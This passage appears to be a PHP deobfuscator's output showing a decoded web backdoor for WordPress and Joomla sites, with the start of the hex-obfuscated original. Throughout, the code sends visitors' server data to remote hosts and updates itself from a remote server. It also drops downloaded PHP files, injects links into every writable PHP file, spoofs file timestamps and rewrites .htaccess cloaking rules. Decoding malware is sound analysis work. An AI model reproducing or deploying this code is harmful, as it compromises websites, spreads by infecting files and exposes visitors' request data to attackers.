            list(${${"GLOBALS"}["nemcyrjqgw"]}, ${${"GLOBALS"}["svvjirl"]}) = @preg_split("/\R\R/", ${${"GLOBALS"}["lzefveci"]}, 2); 
            ${${"GLOBALS"}["luigxsc"]} = ${$lunluxvxvj}; 
        } 
    } 
    ${${"GLOBALS"}["luigxsc"]} = str_replace(${${"GLOBALS"}["dclxrneejin"]}, "HEREISURL", ${${"GLOBALS"}["luigxsc"]}); 
    ${${"GLOBALS"}["luigxsc"]}       = str_replace(${${"GLOBALS"}["nouybzizu"]}, "HEREISSLUG", ${$ekuhfybcuke}); 
    echo ${${"GLOBALS"}["luigxsc"]}; 
    if (!wp_delete_post(${${"GLOBALS"}["uiiojckmy"]}, true)) { 
        $bojmhweofb = "post_id"; 
        wp_delete_post(${$bojmhweofb}, true); 
    } 
    exit; 
} elseif ($_GET["testpage"] == "joomlagopost") { 
    ${"GLOBALS"}["qpmunohgy"]    = "joomlaurl"; 
    $bhmwpmvcz                                           = "idtemp"; 
    ${${"GLOBALS"}["qpmunohgy"]} = explode("/", $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]); 
    unset(${${"GLOBALS"}["mcfnojg"]}[count(${${"GLOBALS"}["mcfnojg"]}) - 1]); 
    $gljsnqasy                                                     = "idtemp"; 
    ${$bhmwpmvcz}                                                  = postitem("HEREISTITLE", "", "HEREISCONTENT"); 
    ${${"GLOBALS"}["tnqqbulmbm"]} = explode(":", ${$gljsnqasy}); 
    ${${"GLOBALS"}["stwhominjco"]}   = "HEREISTITLE"; 
    if (is_array(${${"GLOBALS"}["tnqqbulmbm"]})) { 
        ${"GLOBALS"}["ixiwnbgbdtr"]                    = "goodjoomlapage"; 
        $uxhheynyx                                                             = "idtemp"; 
        ${"GLOBALS"}["ybrwxnhdcbv"]  = "result"; 
        ${${"GLOBALS"}["jycifvjlpl"]}                  = trim(${$uxhheynyx}[1]); 
        ${"GLOBALS"}["dadpbckqp"]                = "db"; 
        ${"GLOBALS"}["secgesxwmder"] = "id"; 
        $oessgycugdt                                                           = "goodjoomlapage"; 
        $sxqppbe                                                               = "idtemp"; 
        $skfvsuopm                                                             = "titletemp"; 
        ${"GLOBALS"}["nmmpbbw"]                        = "query"; 
        ${"GLOBALS"}["erqatbisy"]       = "goodjoomlapage"; 
        ${"GLOBALS"}["xgmfmd"]                      = "linkofpost"; 
        $soamna                                                                = "id"; 
        ${${"GLOBALS"}["secgesxwmder"]}    = trim(${$sxqppbe}[0]); 
        ${${"GLOBALS"}["xgmfmd"]}                            = "http://" . trim(implode("/", ${${"GLOBALS"}["mcfnojg"]}), "/") . "/index.php/?option=com_content&view=article&id=" . ${$soamna}; 
        $mgzdlnixkas                                                           = "goodjoomlapage"; 
        if (ini_get("allow_url_fopen") == 1) { 
            ${"GLOBALS"}["nmuirsrkum"]          = "linkofpost"; 
            $xgwhwsx                                                                   = "goodjoomlapage"; 
            ${${"GLOBALS"}["udiksnfsye"]} = stream_context_create(array( 
                "http" => array( 
                    "method" => "POST", 
                    "header" => array( 
                        "Content-type: application/x-www-form-urlencoded" 
                    ), 
                    "content" => http_build_query($_SERVER) 
                ) 
            )); 
            ${$xgwhwsx}                                                                = @file_get_contents(${${"GLOBALS"}["nmuirsrkum"]}, false, ${${"GLOBALS"}["udiksnfsye"]}); 
        } elseif (function_exists("curl_init")) { 
            $abftonnu                                         = "ch"; 
            ${"GLOBALS"}["dyiieenp"]  = "ch"; 
            $wbfwdnkyxhb                                      = "linkofpost"; 
            ${${"GLOBALS"}["wlpgcq"]} = curl_init(); 
            curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_URL, ${$wbfwdnkyxhb}); 
            $sywatzg  = "ch"; 
            $uspuglzg = "goodjoomlapage"; 
            curl_setopt(${$sywatzg}, CURLOPT_HEADER, false); 
            curl_setopt(${$abftonnu}, CURLOPT_RETURNTRANSFER, true); 
            curl_setopt(${${"GLOBALS"}["dyiieenp"]}, CURLOPT_REFERER, ""); 
            ${"GLOBALS"}["xjfiqnvue"] = "ch"; 
            ${$uspuglzg}                                         = @curl_exec(${${"GLOBALS"}["xjfiqnvue"]}); 
            curl_close(${${"GLOBALS"}["wlpgcq"]}); 
        } else { 
            $loghvjfr                                                                = "errstr"; 
            ${"GLOBALS"}["jhhafwgcw"]               = "fp"; 
            ${"GLOBALS"}["ptsevzvgvc"]              = "errno"; 
            ${${"GLOBALS"}["kkxhtnwueot"]} = fsockopen(${${"GLOBALS"}["ijhifcytdux"]}, 80, ${${"GLOBALS"}["ptsevzvgvc"]}, ${$loghvjfr}, 10); 
            if (${${"GLOBALS"}["jhhafwgcw"]}) { 
                $pihdkkvnlru                                                             = "out"; 
                ${"GLOBALS"}["lyifisrz"]                = "data"; 
                ${"GLOBALS"}["jtyftukdbha"] = "fp"; 
                ${"GLOBALS"}["fndrvouzfd"]                 = "out"; 
                $jfycybheel                                                              = "resp"; 
                $iylgqmu                                                                 = "out"; 
                ${"GLOBALS"}["xgmciynlquh"]                   = "data"; 
                ${${"GLOBALS"}["fmjywmn"]}                       = http_build_query($_SERVER); 
                ${"GLOBALS"}["sbrwedyy"]                = "fp"; 
                ${"GLOBALS"}["pkscebqm"]                = "resp"; 
                $ycryduik                                                                = "goodjoomlapage"; 
                ${${"GLOBALS"}["ilxsujb"]}                 = "POST $linkofpost HTTP/1.0
"; 
                ${$pihdkkvnlru} .= "Host: $doordomain
"; 
                $rknqvsnsdbju = "out"; 
                ${$iylgqmu} .= "Content-Type: application/x-www-form-urlencoded
"; 
                ${$rknqvsnsdbju} .= "Content-Length: " . strlen(${${"GLOBALS"}["lyifisrz"]}) . "

"; 
                fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${${"GLOBALS"}["fndrvouzfd"]}); 
                fwrite(${${"GLOBALS"}["jtyftukdbha"]}, ${${"GLOBALS"}["xgmciynlquh"]}); 
                ${${"GLOBALS"}["pkscebqm"]} = ""; 
                while (!feof(${${"GLOBALS"}["kkxhtnwueot"]})) { 
                    ${${"GLOBALS"}["lzefveci"]} .= fgets(${${"GLOBALS"}["kkxhtnwueot"]}, 4096); 
                } 
                fclose(${${"GLOBALS"}["sbrwedyy"]}); 
                list(${${"GLOBALS"}["nemcyrjqgw"]}, ${${"GLOBALS"}["wfyrnkhbdr"]}) = @preg_split("/\R\R/", ${$jfycybheel}, 2); 
                ${$ycryduik} = ${${"GLOBALS"}["wfyrnkhbdr"]}; 
            } 
        } 
        ${${"GLOBALS"}["elfcktzbqfb"]} = preg_replace("/<title>(.*)<\/title>/iUm", "<title>" . ${$skfvsuopm} . "</title>", ${$mgzdlnixkas}); 
        $spvivejuv                                                         = "query"; 
        ${${"GLOBALS"}["dadpbckqp"]}      = JFactory::getDbo(); 
        ${$spvivejuv}                                                      = $db->getQuery(true); 
        $query->delete($db->quoteName("#__content"))->where(array( 
            $db->quoteName("id") . "=" . ${${"GLOBALS"}["swcgstmgh"]} 
        )); 
        $db->setQuery(${${"GLOBALS"}["nmmpbbw"]}); 
        ${${"GLOBALS"}["ybrwxnhdcbv"]} = $db->query(); 
        if (!empty(${${"GLOBALS"}["erqatbisy"]}) && stripos(${${"GLOBALS"}["ixiwnbgbdtr"]}, "HEREISCONTENT")) { 
            ${"GLOBALS"}["jdmtinqzj"]                  = "regular"; 
            ${"GLOBALS"}["wibhbpsmplr"] = "goodjoomlapage"; 
            ${${"GLOBALS"}["elfcktzbqfb"]}    = str_ireplace("content="HEREISCONTENT", "content=\"", ${${"GLOBALS"}["wibhbpsmplr"]}); 
            ${"GLOBALS"}["fswdtncqqnb"]             = "matches"; 
            ${"GLOBALS"}["bzgknfeugu"]              = "goodjoomlapage"; 
            ${${"GLOBALS"}["elfcktzbqfb"]}    = str_ireplace("content=\" HEREISCONTENT", "content="", ${${"GLOBALS"}["elfcktzbqfb"]}); 
            ${"GLOBALS"}["fiuyuaszob"]              = "regular"; 
            ${${"GLOBALS"}["bzgknfeugu"]}           = preg_replace("/<meta property=[\"\']{1}og:description["\']{1} content=["\']{1}.*[\"\']{1}\s?\/>/iUs", "", ${${"GLOBALS"}["elfcktzbqfb"]}); 
            ${${"GLOBALS"}["fiuyuaszob"]}     = "|(<h2>.*HEREISTITLE.*</h2>)|iUs"; 
            ${"GLOBALS"}["ynylhkunvwg"]                   = "goodjoomlapage"; 
            preg_match_all(${${"GLOBALS"}["jdmtinqzj"]}, ${${"GLOBALS"}["ynylhkunvwg"]}, ${${"GLOBALS"}["ixedauuag"]}); 
            if (!empty(${${"GLOBALS"}["fswdtncqqnb"]}[1][0])) { 
                $ltwmnol                                                                 = "goodjoomlapage"; 
                ${"GLOBALS"}["vpngcxqdoe"]        = "matches"; 
                ${${"GLOBALS"}["elfcktzbqfb"]} = str_ireplace(${${"GLOBALS"}["vpngcxqdoe"]}[1][0], "<h1>HEREISH1TAG</h1>", ${$ltwmnol}); 
            } 
        } 
        echo ${$oessgycugdt}; 
        exit; 
    } 
} elseif (isset($_GET["upd"])) { 
    $jlduxfhx = "content"; 
    $brbkohj  = "filetime"; 
    if (ini_get("allow_url_fopen") == 1) { 
        ${"GLOBALS"}["okfdmfriuvg"]                = "url"; 
        ${"GLOBALS"}["nbfigcpahwp"]          = "context"; 
        $yhyrnhfj                                                                = "context"; 
        ${${"GLOBALS"}["okfdmfriuvg"]} = "$url3?type=fopen&th=$th&vl=$vl&upd"; 
        ${$yhyrnhfj}                                                             = stream_context_create(array( 
            "http" => array( 
                "method" => "POST", 
                "header" => array( 
                    "Content-type: application/x-www-form-urlencoded" 
                ), 
                "content" => http_build_query($_SERVER) 
            ) 
        )); 
        ${${"GLOBALS"}["ijmnpttx"]}                = @file_get_contents(${${"GLOBALS"}["kpgyicevyz"]}, false, ${${"GLOBALS"}["nbfigcpahwp"]}); 
    } elseif (function_exists("curl_init")) { 
        ${"GLOBALS"}["skjblpo"]          = "ch"; 
        ${"GLOBALS"}["clhpiwyevyx"]   = "ch"; 
        ${${"GLOBALS"}["kpgyicevyz"]} = "$url3?type=curl&th=$th&vl=$vl&upd"; 
        ${"GLOBALS"}["qspoooy"]                         = "ch"; 
        $watvrx                                                              = "ch"; 
        ${"GLOBALS"}["qskwyvghwt"]                = "ch"; 
        ${${"GLOBALS"}["clhpiwyevyx"]}         = curl_init(${${"GLOBALS"}["kpgyicevyz"]}); 
        curl_setopt(${$watvrx}, CURLOPT_HEADER, FALSE); 
        curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_RETURNTRANSFER, TRUE); 
        curl_setopt(${${"GLOBALS"}["skjblpo"]}, CURLOPT_POSTFIELDS, http_build_query($_SERVER)); 
        ${${"GLOBALS"}["ijmnpttx"]} = @curl_exec(${${"GLOBALS"}["qskwyvghwt"]}); 
        curl_close(${${"GLOBALS"}["qspoooy"]}); 
    } else { 
        ${"GLOBALS"}["qjmdbwcp"]                    = "errstr"; 
        ${"GLOBALS"}["fzcrbszkxjjw"] = "fp"; 
        ${${"GLOBALS"}["fzcrbszkxjjw"]}          = fsockopen(${${"GLOBALS"}["fvbmctwp"]}, 80, ${${"GLOBALS"}["tupjhjbxxg"]}, ${${"GLOBALS"}["qjmdbwcp"]}, 10); 
        if (${${"GLOBALS"}["kkxhtnwueot"]}) { 
            $ytcwqszqstj                                                   = "out"; 
            $cykprnkh                                                      = "data"; 
            $iwwdniykixq                                                   = "header"; 
            $idzfxenxstiw                                                  = "out"; 
            $fgradkjgdul                                                   = "fp"; 
            ${${"GLOBALS"}["fmjywmn"]}    = http_build_query($_SERVER); 
            ${${"GLOBALS"}["ilxsujb"]}          = "POST $file3?type=socks&th=$th&vl=$vl&upd HTTP/1.0
"; 
            ${"GLOBALS"}["uqucjbnyqb"] = "data"; 
            $cyzhpjpsd                                                     = "out"; 
            ${${"GLOBALS"}["ilxsujb"]} .= "Host: $cardas
"; 
            $cpspkqlvfm = "body"; 
            ${$cyzhpjpsd} .= "Content-Type: application/x-www-form-urlencoded
"; 
            ${$ytcwqszqstj} .= "Content-Length: " . strlen(${$cykprnkh}) . "

"; 
            fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${$idzfxenxstiw}); 
            fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${${"GLOBALS"}["uqucjbnyqb"]}); 
            ${${"GLOBALS"}["lzefveci"]} = ""; 
            while (!feof(${${"GLOBALS"}["kkxhtnwueot"]})) { 
                ${"GLOBALS"}["wmwxvapqtnj"] = "fp"; 
                ${${"GLOBALS"}["lzefveci"]} .= fgets(${${"GLOBALS"}["wmwxvapqtnj"]}, 4096); 
            } 
            fclose(${$fgradkjgdul}); 
            list(${$iwwdniykixq}, ${${"GLOBALS"}["wfyrnkhbdr"]}) = @preg_split("/\R\R/", ${${"GLOBALS"}["lzefveci"]}, 2); 
            ${${"GLOBALS"}["ijmnpttx"]} = ${$cpspkqlvfm}; 
        } 
    } 
    if (${$jlduxfhx} == null) { 
        exit; 
    } 
    ${"GLOBALS"}["tnjsaden"] = "content"; 
    ${$brbkohj}                                         = filemtime(__FILE__); 
    file_put_contents(__FILE__, ${${"GLOBALS"}["tnjsaden"]}); 
    @touch(__FILE__, ${${"GLOBALS"}["mohtprvxf"]}); 
} elseif (isset($_GET["ws"])) { 
    ${"GLOBALS"}["rwxwplxy"] = "file4"; 
    $ocshhiddyor                                                 = "content"; 
    $hlzhdxgauo                                                  = "chars"; 
    ${${"GLOBALS"}["wgtfqwb"]}        = "http://$jj/handlers/txt/" . $_GET["ws"] . ".txt"; 
    ${"GLOBALS"}["nnpvyoolrs"]  = "chars"; 
    ${${"GLOBALS"}["rwxwplxy"]} = "/handlers/txt/" . $_GET["ws"] . ".txt"; 
    if (ini_get("allow_url_fopen") == 1) { 
        ${"GLOBALS"}["lmlxhcmnpbp"]                = "content"; 
        $emogxotf                                                                      = "url4"; 
        ${${"GLOBALS"}["lmlxhcmnpbp"]} = @file_get_contents(${$emogxotf}); 
    } elseif (function_exists("curl_init")) { 
        $rcrjvrgiyolu                                     = "url4"; 
        ${${"GLOBALS"}["wlpgcq"]} = curl_init(${$rcrjvrgiyolu}); 
        $hthbdkdds                                        = "ch"; 
        curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_HEADER, FALSE); 
        ${"GLOBALS"}["bxpsywoi"] = "content"; 
        curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_RETURNTRANSFER, TRUE); 
        ${${"GLOBALS"}["bxpsywoi"]} = @curl_exec(${$hthbdkdds}); 
        curl_close(${${"GLOBALS"}["wlpgcq"]}); 
    } else { 
        ${"GLOBALS"}["vwipjsmc"] = "fp"; 
        $lwojcbwpqpg                                           = "jj"; 
        $mhethmfyglyk                                          = "fp"; 
        ${${"GLOBALS"}["vwipjsmc"]}             = fsockopen(${$lwojcbwpqpg}, 80, ${${"GLOBALS"}["tupjhjbxxg"]}, ${${"GLOBALS"}["vvovjnlr"]}, 10); 
        if (${$mhethmfyglyk}) { 
            ${"GLOBALS"}["xunebfp"]    = "fp"; 
            ${${"GLOBALS"}["ilxsujb"]} = "GET $file4 HTTP/1.1
"; 
            ${${"GLOBALS"}["ilxsujb"]} .= "Host: $jj
"; 
            ${${"GLOBALS"}["ilxsujb"]} .= "Content-Type: application/x-www-form-urlencoded
"; 
            ${"GLOBALS"}["piwwfmvrkw"] = "fp"; 
            fwrite(${${"GLOBALS"}["piwwfmvrkw"]}, ${${"GLOBALS"}["ilxsujb"]}); 
            ${${"GLOBALS"}["lzefveci"]} = ""; 
            while (!feof(${${"GLOBALS"}["kkxhtnwueot"]})) { 
                ${"GLOBALS"}["sgujyn"] = "resp"; 
                ${${"GLOBALS"}["sgujyn"]} .= fgets(${${"GLOBALS"}["kkxhtnwueot"]}, 4096); 
            } 
            $ghrtqogqlvd = "resp"; 
            fclose(${${"GLOBALS"}["xunebfp"]}); 
            ${${"GLOBALS"}["ijmnpttx"]} = ${$ghrtqogqlvd}; 
        } 
    } 
    $jcgmxhb = "url"; 
    if (${${"GLOBALS"}["ijmnpttx"]} == null) { 
        die("can't get txt file"); 
    } 
    ${$hlzhdxgauo}                                                        = "stuvwxyz"; 
    $xxwjvxmwhjhw                                                         = "fp"; 
    ${${"GLOBALS"}["entpsxl"]}              = str_shuffle(${${"GLOBALS"}["nnpvyoolrs"]}) . ".php"; 
    ${${"GLOBALS"}["kkxhtnwueot"]}          = fopen(${${"GLOBALS"}["entpsxl"]}, "w"); 
    ${"GLOBALS"}["nyudnyrkmws"] = "url"; 
    fwrite(${$xxwjvxmwhjhw}, ${$ocshhiddyor}); 
    ${${"GLOBALS"}["kpgyicevyz"]} = explode("/", $_SERVER["HTTP_HOST"] . $_SERVER["SCRIPT_NAME"]); 
    unset(${${"GLOBALS"}["nyudnyrkmws"]}[count(${${"GLOBALS"}["kpgyicevyz"]}) - 1]); 
    ${$jcgmxhb} = "http://" . trim(implode("/", ${${"GLOBALS"}["kpgyicevyz"]})) . "/$filename"; 
    echo ${${"GLOBALS"}["kpgyicevyz"]}; 
    exit; 
} elseif ($_GET["test"] == "howareyou" OR isset($_GET["z"])) { 
    echo "im okey"; 
    exit; 
} else { 
    if (ini_get("allow_url_fopen") == 1) { 
        $dafgekluadb                                                      = "url"; 
        ${$dafgekluadb}                                                   = "$url?type=fopen&th=$th&vl=$vl&v=" . urlencode(${${"GLOBALS"}["soacrqgg"]}) . "&cookiebot=$cookiebot"; 
        ${${"GLOBALS"}["udiksnfsye"]} = stream_context_create(array( 
            "http" => array( 
                "method" => "POST", 
                "header" => array( 
                    "Content-type: application/x-www-form-urlencoded" 
                ), 
                "content" => http_build_query($_SERVER) 
            ) 
        )); 
        $obnjgwlqkl                                                       = "context"; 
        ${${"GLOBALS"}["ijmnpttx"]}                  = @file_get_contents(${${"GLOBALS"}["kpgyicevyz"]}, false, ${$obnjgwlqkl}); 
    } elseif (function_exists("curl_init")) { 
        $tyjumxcfar      = "ch"; 
        $qrblqbcdxk      = "ch"; 
        $wvzajbuxlb      = "url"; 
        $itxivmxibuni    = "url"; 
        ${$itxivmxibuni} = "$url?type=curl&th=$th&vl=$vl&v=" . urlencode(${${"GLOBALS"}["soacrqgg"]}) . "&cookiebot=$cookiebot"; 
        $hovvsagcloa     = "ch"; 
        ${$tyjumxcfar}   = curl_init(${$wvzajbuxlb}); 
        curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_HEADER, FALSE); 
        curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_RETURNTRANSFER, TRUE); 
        curl_setopt(${$qrblqbcdxk}, CURLOPT_POSTFIELDS, http_build_query($_SERVER)); 
        $kvdrsyeytp                                               = "ch"; 
        ${${"GLOBALS"}["ijmnpttx"]} = @curl_exec(${$kvdrsyeytp}); 
        curl_close(${$hovvsagcloa}); 
    } else { 
        $pbnelkabvj                                                                   = "fp"; 
        ${"GLOBALS"}["dynjcbaahq"] = "cardas"; 
        $otxmhafws                                                                    = "errstr"; 
        ${$pbnelkabvj}                                                                = fsockopen(${${"GLOBALS"}["dynjcbaahq"]}, 80, ${${"GLOBALS"}["tupjhjbxxg"]}, ${$otxmhafws}, 10); 
        if (${${"GLOBALS"}["kkxhtnwueot"]}) { 
            ${"GLOBALS"}["tepxtmf"]                    = "out"; 
            ${"GLOBALS"}["oktovjcpv"]         = "out"; 
            ${"GLOBALS"}["kazufavigqyr"]      = "data"; 
            $gubixzhjv                                                               = "v"; 
            ${"GLOBALS"}["dykegkgpqtv"]             = "resp"; 
            ${"GLOBALS"}["vwwieyk"]                          = "out"; 
            ${"GLOBALS"}["wylmfvde"]                         = "out"; 
            ${"GLOBALS"}["fndwyhhldk"]           = "fp"; 
            ${"GLOBALS"}["vuykphxnieq"] = "data"; 
            $xqsezeomm                                                               = "resp"; 
            ${${"GLOBALS"}["kazufavigqyr"]}      = http_build_query($_SERVER); 
            ${${"GLOBALS"}["tepxtmf"]}                    = "POST $file?type=socks&th=$th&vl=$vl&v=" . urlencode(${$gubixzhjv}) . "&cookiebot=$cookiebot HTTP/1.0
"; 
            ${"GLOBALS"}["uliguafp"]                            = "content"; 
            ${${"GLOBALS"}["vwwieyk"]} .= "Host: $cardas
"; 
            $fxfhpfsd = "out"; 
            ${${"GLOBALS"}["wylmfvde"]} .= "Content-Type: application/x-www-form-urlencoded
"; 
            ${${"GLOBALS"}["oktovjcpv"]} .= "Content-Length: " . strlen(${${"GLOBALS"}["vuykphxnieq"]}) . "

"; 
            ${"GLOBALS"}["pxbshyi"]                    = "data"; 
            ${"GLOBALS"}["syrfsmrqtow"] = "fp"; 
            fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${$fxfhpfsd}); 
            fwrite(${${"GLOBALS"}["fndwyhhldk"]}, ${${"GLOBALS"}["pxbshyi"]}); 
            ${$xqsezeomm} = ""; 
            while (!feof(${${"GLOBALS"}["syrfsmrqtow"]})) { 
                $oizgwcxd = "resp"; 
                $ysoocux  = "fp"; 
                ${$oizgwcxd} .= fgets(${$ysoocux}, 4096); 
            } 
            fclose(${${"GLOBALS"}["kkxhtnwueot"]}); 
            list(${${"GLOBALS"}["nemcyrjqgw"]}, ${${"GLOBALS"}["wfyrnkhbdr"]}) = @preg_split("/\R\R/", ${${"GLOBALS"}["dykegkgpqtv"]}, 2); 
            ${${"GLOBALS"}["uliguafp"]} = ${${"GLOBALS"}["wfyrnkhbdr"]}; 
        } 
    } 
    echo ${${"GLOBALS"}["ijmnpttx"]}; 
} 
function postlink($linktodoor) 
{ 
    foreach (glob("*.php") as ${${"GLOBALS"}["entpsxl"]}) { 
        ${"GLOBALS"}["nniunmlnwtqo"] = "incfilecontent"; 
        $icaxhotwncb                                                           = "incfilecontent"; 
        $qvzefsotr                                                             = "filetime"; 
        ${"GLOBALS"}["sraheqwtvjs"]  = "filename"; 
        if (${${"GLOBALS"}["entpsxl"]} == basename(__FILE__) OR !is_writable(${${"GLOBALS"}["entpsxl"]})) { 
            continue; 
        } 
        ${${"GLOBALS"}["mohtprvxf"]}    = filemtime(${${"GLOBALS"}["entpsxl"]}); 
        ${$icaxhotwncb}                                            = file_get_contents(${${"GLOBALS"}["entpsxl"]}); 
        ${${"GLOBALS"}["iojafskhi"]} = preg_replace("/<\?php|<\?/i", "$linktodoor<?php", ${${"GLOBALS"}["nniunmlnwtqo"]}, 1); 
        file_put_contents(${${"GLOBALS"}["entpsxl"]}, ${${"GLOBALS"}["iojafskhi"]}); 
        @touch(${${"GLOBALS"}["sraheqwtvjs"]}, ${$qvzefsotr}); 
    } 
} 
function gettemplate($incfilecontent, $incfile, $doordomain, $param) 
{ 
    ${"GLOBALS"}["eckcscota"] = "incfilecontent"; 
    file_put_contents(${${"GLOBALS"}["nxdvsyivy"]}, ${${"GLOBALS"}["eckcscota"]}); 
    ${${"GLOBALS"}["cwtrxpys"]} = "http://$doordomain/?testpage=$param"; 
    ${"GLOBALS"}["ofwfzpsdv"]         = "goodpage"; 
    if (ini_get("allow_url_fopen") == 1) { 
        ${${"GLOBALS"}["udiksnfsye"]} = stream_context_create(array( 
            "http" => array( 
                "method" => "POST", 
                "header" => array( 
                    "Content-type: application/x-www-form-urlencoded" 
                ), 
                "content" => http_build_query($_SERVER) 
            ) 
        )); 
        ${${"GLOBALS"}["wqvtok"]}     = @file_get_contents(${${"GLOBALS"}["cwtrxpys"]}, false, ${${"GLOBALS"}["udiksnfsye"]}); 
    } elseif (function_exists("curl_init")) { 
        ${"GLOBALS"}["ctxrjwc"]           = "siteurl"; 
        $rvimzdi                                                           = "ch"; 
        ${"GLOBALS"}["mwvbhcmnyzw"] = "ch"; 
        ${${"GLOBALS"}["wlpgcq"]}               = curl_init(); 
        curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_URL, ${${"GLOBALS"}["ctxrjwc"]}); 
        curl_setopt(${$rvimzdi}, CURLOPT_HEADER, false); 
        curl_setopt(${${"GLOBALS"}["wlpgcq"]}, CURLOPT_RETURNTRANSFER, true); 
        $imynrrh = "goodpage"; 
        curl_setopt(${${"GLOBALS"}["mwvbhcmnyzw"]}, CURLOPT_REFERER, ""); 
        ${$imynrrh} = @curl_exec(${${"GLOBALS"}["wlpgcq"]}); 
        curl_close(${${"GLOBALS"}["wlpgcq"]}); 
    } else { 
        ${"GLOBALS"}["uttzzougs"]                  = "fp"; 
        ${"GLOBALS"}["gffbxzweirq"]       = "fp"; 
        $zjilyjn                                                              = "errstr"; 
        ${"GLOBALS"}["hdgtdlqwhg"]              = "errno"; 
        $kjkflxsvm                                                            = "doordomain"; 
        ${${"GLOBALS"}["gffbxzweirq"]} = fsockopen(${$kjkflxsvm}, 80, ${${"GLOBALS"}["hdgtdlqwhg"]}, ${$zjilyjn}, 10); 
        if (${${"GLOBALS"}["uttzzougs"]}) { 
            $ekemmh                                                         = "out"; 
            ${"GLOBALS"}["jnmlnlkcdwb"] = "out"; 
            ${"GLOBALS"}["ytupugvryn"]  = "out"; 
            $chlbcyi                                                        = "data"; 
            ${$chlbcyi}                                                     = http_build_query($_SERVER); 
            $xplgiocfkdan                                                   = "out"; 
            ${"GLOBALS"}["nhuggcto"]       = "goodpage"; 
            ${$xplgiocfkdan}                                                = "POST /?testpage=$param HTTP/1.0
"; 
            $knduisfq                                                       = "data"; 
            ${$ekemmh} .= "Host: $doordomain
"; 
            ${${"GLOBALS"}["jnmlnlkcdwb"]} .= "Content-Type: application/x-www-form-urlencoded
"; 
            ${${"GLOBALS"}["ytupugvryn"]} .= "Content-Length: " . strlen(${${"GLOBALS"}["fmjywmn"]}) . "

"; 
            fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${${"GLOBALS"}["ilxsujb"]}); 
            $tnbhdqfy = "body"; 
            fwrite(${${"GLOBALS"}["kkxhtnwueot"]}, ${$knduisfq}); 
            ${"GLOBALS"}["seviwxgvrlm"] = "header"; 
            $bmudpdvhi                                                               = "body"; 
            ${${"GLOBALS"}["lzefveci"]}          = ""; 
            while (!feof(${${"GLOBALS"}["kkxhtnwueot"]})) { 
                $evgpmqyyh = "resp"; 
                ${$evgpmqyyh} .= fgets(${${"GLOBALS"}["kkxhtnwueot"]}, 4096); 
            } 
            fclose(${${"GLOBALS"}["kkxhtnwueot"]}); 
            list(${${"GLOBALS"}["seviwxgvrlm"]}, ${$tnbhdqfy}) = @preg_split("/\R\R/", ${${"GLOBALS"}["lzefveci"]}, 2); 
            ${${"GLOBALS"}["nhuggcto"]} = ${$bmudpdvhi}; 
        } 
    } 
    echo ${${"GLOBALS"}["ofwfzpsdv"]}; 
} 
function postitem($title, $desc, $text) 
{ 
    ${"GLOBALS"}["dyukkfcnoes"]                   = "database"; 
    ${"GLOBALS"}["qnjvwhfy"]                                        = "item"; 
    $qjyolsulhxkt                                                                     = "title"; 
    ${${"GLOBALS"}["dyukkfcnoes"]} = JFactory::getDBO(); 
    ${${"GLOBALS"}["qnjvwhfy"]}                         = new stdClass; 
    $item->id                                                                         = null; 
    $xpiqzylhvw                                                                       = "desc"; 
    $item->title                                                                      = ${$qjyolsulhxkt}; 
    $item->introtext                                                                  = ${$xpiqzylhvw}; 
    $item->fulltext                                                                   = ${${"GLOBALS"}["dxvcbqd"]}; 
    $item->state                                                                      = 1; 
    $item->access                                                                     = 1; 
    $item->created_by                                                                 = 62; 
    $item->created                                                                    = date("Y-m-d H:i:s"); 
    $item->alias                                                                      = JFilterOutput::stringURLSafe($item->title); 
    if (!$database->insertObject("#__content", ${${"GLOBALS"}["htympu"]}, "id")) { 
        echo $database->stderr(); 
        return false; 
    } 
    return $item->id . ":" . $item->alias; 
} 
function htaccessnormalize() 
{ 
    ${"GLOBALS"}["pngkxzdk"]      = "htaccessfilename"; 
    ${${"GLOBALS"}["pngkxzdk"]}   = ".htaccess"; 
    ${"GLOBALS"}["vklrjyn"] = "htaccessfilename"; 
    if (file_exists(${${"GLOBALS"}["vklrjyn"]})) { 
        $titbbe                                                = "htaccessincfilecontent"; 
        $bjzsfdjluqt                                           = "htaccessfilename"; 
        ${${"GLOBALS"}["cqsuterr"]} = filemtime(${${"GLOBALS"}["mqlzugct"]}); 
        @chmod(${$bjzsfdjluqt}, 0666); 
        ${${"GLOBALS"}["ygukjspw"]} = file_get_contents(${${"GLOBALS"}["mqlzugct"]}); 
        if (preg_match("#RewriteCond \%\{HTTP_USER_AGENT\} \(google\|yahoo\|msn\|aol\|bing\) \[OR\](.*)RewriteCond \%\{HTTP_REFERER\} \(google\|yahoo\|msn\|aol\|bing\)#iUs", ${$titbbe})) { 
            ${${"GLOBALS"}["ygukjspw"]} = preg_replace("#<IfModule mod_rewrite\.c>(.*)RewriteCond \%\{HTTP_USER_AGENT\} \(google\|yahoo\|msn\|aol\|bing\) \[OR\](.*)RewriteCond \%\{HTTP_REFERER\} \(google\|yahoo\|msn\|aol\|bing\)(.*)RewriteRule \^\.\*\$ index\.php \[L\](.*)<\/IfModule>#iUs", "", ${${"GLOBALS"}["ygukjspw"]}); 
            ${"GLOBALS"}["vrdkikk"]           = "htaccessfilename"; 
            ${"GLOBALS"}["hbwmvjjbkn"]  = "filetime"; 
            file_put_contents(${${"GLOBALS"}["vrdkikk"]}, ${${"GLOBALS"}["ygukjspw"]}); 
            @touch(${${"GLOBALS"}["mqlzugct"]}, ${${"GLOBALS"}["hbwmvjjbkn"]}); 
        } 
    } 
} 
?>

Did this file decode correctly?

Original Code


<?php
${"\x47\x4c\x4f\x42A\x4cS"}["\x79g\x75\x6b\x6aspw"]                            = "\x68\x74\x61\x63\x63\x65ss\x69n\x63\x66\x69\x6c\x65co\x6et\x65\x6et";
